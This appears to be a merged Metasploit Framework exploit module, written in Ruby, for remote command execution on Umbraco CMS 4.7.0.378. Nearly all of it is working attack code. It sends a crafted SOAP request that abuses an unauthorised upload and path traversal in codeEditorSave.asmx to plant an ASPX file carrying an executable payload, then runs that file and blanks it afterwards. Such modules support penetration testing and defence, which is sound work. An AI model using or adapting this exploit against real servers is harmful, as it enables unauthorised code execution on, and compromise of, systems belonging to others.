Merge branch 'umbraco_upload_aspx_rev' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-umbraco_upload_aspx_rev
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sinn3r
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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def initialize
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super(
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'Name' => 'Umbraco CMS Remote Command Execution',
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'Description' => %q{
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This module can be used to execute a payload on Umbraco CMS 4.7.0.378.
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The payload is uploaded as an ASPX script by sending a specially crafted
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SOAP request to codeEditorSave.asmx, which permits unauthorised file upload
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via the SaveDLRScript operation. SaveDLRScript is also subject to a path
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traversal vulnerability, allowing code to be placed into the web-accessible
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/umbraco/ directory.
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The module writes, executes and then overwrites an ASPX script; note that
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though the script content is removed, the file remains on the target. Automatic
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cleanup of the file is intended if a meterpreter payload is used.
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This module has been tested successfully on Umbraco CMS 4.7.0.378 on a Windows
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7 32-bit SP1. In this scenario, the "IIS APPPOOL\ASP.NET v4.0" user must have
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write permissions on the Windows Temp folder.
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},
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'Author' => [
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'Toby Clarke' # Vulnerability discovery and Metasploit module
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],
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'Platform' => 'win',
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'References' =>
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[
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[ 'URL', 'http://blog.gdssecurity.com/labs/2012/7/3/find-bugs-faster-with-a-webmatrix-local-reference-instance.html' ],
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[ 'URL', 'http://umbraco.codeplex.com/workitem/18192' ] # Item deleted for security reasons
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],
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'Targets' =>
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[
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[ 'Umbraco CMS 4.7.0.378 / Microsoft Windows 7 Professional 32-bit SP1', { } ],
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],
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'DefaultTarget' => 0,
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'Privileged' => false,
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'DisclosureDate' => 'Jun 28 2012'
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)
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The URI path of the Umbraco login page', '/umbraco/'])
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], self.class)
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end
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#
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# Remove the asmx if we get a meterpreter.
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#
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def on_new_session(cli)
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if cli.type != 'meterpreter'
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print_error("Meterpreter not used. Please manually remove #{@upload_random + '.aspx'}")
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return
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end
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cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
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begin
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aspx = @upload_random + '.aspx'
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print_status("#{@peer} - Searching: #{aspx}")
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files = cli.fs.file.search("\\", aspx)
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if not files or files.empty?
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print_error("Unable to find #{aspx}. Please manually remove it.")
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return
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end
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files.each { |f|
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print_status("#{@peer} - Deleting: #{f['path'] + "\\" + f['name']}")
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cli.fs.file.rm(f['path'] + "\\" + f['name'])
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}
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print_status("#{@peer} - #{aspx} deleted")
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rescue ::Exception => e
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print_error("Unable to delete #{aspx}: #{e.message}")
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end
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end
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# Module based heavily upon Juan Vazquez's 'landesk_thinkmanagement_upload_asp.rb'
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def exploit
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@peer = "#{rhost}:#{rport}"
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# Generate the ASPX containing the EXE containing the payload
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exe = generate_payload_exe
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aspx = Msf::Util::EXE.to_exe_aspx(exe)
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# htmlentities like encoding
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aspx = aspx.gsub("&", "&").gsub("\"", """).gsub("'", "'").gsub("<", "<").gsub(">", ">")
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uri_path = target_uri.path
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uri_path.path << "/" if uri_path[-1, 1] != "/"
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@upload_random = rand_text_alpha(rand(6) + 6)
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soap = <<-eos
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<?xml version="1.0" encoding="utf-8"?>
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<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
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<soap:Body>
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<SaveDLRScript xmlns="http://tempuri.org/">
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<fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName>
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<oldName>string</oldName>
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<fileContents>#{aspx}</fileContents>
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<ignoreDebugging>1</ignoreDebugging>
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</SaveDLRScript>
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</soap:Body>
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</soap:Envelope>
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eos
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#
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# UPLOAD
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#
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attack_url = uri_path + "webservices/codeEditorSave.asmx"
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print_status("#{@peer} - Uploading #{aspx.length} bytes through #{attack_url}...")
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print_status("#{@peer} - Uploading to #{uri_path}#{@upload_random}.aspx")
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res = send_request_cgi({
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'uri' => attack_url,
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'method' => 'POST',
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'ctype' => 'text/xml; charset=utf-8',
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'headers' => {
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'SOAPAction' => "\"http://tempuri.org/SaveDLRScript\"",
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},
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'data' => soap,
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}, 20)
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if (! res)
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print_status("#{@peer} - Timeout: Trying to execute the payload anyway")
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elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)
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print_status("#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]")
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else
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print_status("#{@peer} - Didn't get the expected 500 error code #{attack_url} [#{res.code} #{res.message}]. Trying to execute the payload anyway")
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end
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#
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# EXECUTE
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#
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upload_path = uri_path + "#{@upload_random}.aspx"
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print_status("#{@peer} - Executing #{upload_path}...")
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res = send_request_cgi({
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'uri' => upload_path,
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'method' => 'GET'
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}, 20)
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if (! res)
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print_error("#{@peer} - Execution failed on #{upload_path} [No Response]")
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return
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end
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if (res.code < 200 or res.code >= 300)
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print_error("#{@peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]")
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return
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end
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#
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# 'DELETE' - note that the file will remain on the system, but the content will be wiped.
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#
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soap = <<-eos
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<?xml version="1.0" encoding="utf-8"?>
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<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
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<soap:Body>
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<SaveDLRScript xmlns="http://tempuri.org/">
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<fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName>
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<oldName>string</oldName>
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<fileContents></fileContents>
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<ignoreDebugging>1</ignoreDebugging>
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</SaveDLRScript>
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</soap:Body>
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</soap:Envelope>
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eos
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attack_url = uri_path + "webservices/codeEditorSave.asmx"
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print_status("#{@peer} - Writing #{aspx.length} bytes through #{attack_url}...")
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print_status("#{@peer} - Wrting over #{uri_path}#{@upload_random}.aspx")
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res = send_request_cgi({
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'uri' => attack_url,
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'method' => 'POST',
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'ctype' => 'text/xml; charset=utf-8',
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'headers' => {
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'SOAPAction' => "\"http://tempuri.org/SaveDLRScript\"",
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},
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'data' => soap,
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}, 20)
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if (! res)
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print_error("#{@peer} - Deletion failed at #{attack_url} [No Response]")
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return
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elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)
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print_status("#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]")
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else
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print_status("#{@peer} - Didn't get the code and message #{attack_url} [#{res.code} #{res.message}]")
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end
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handler
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end
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end
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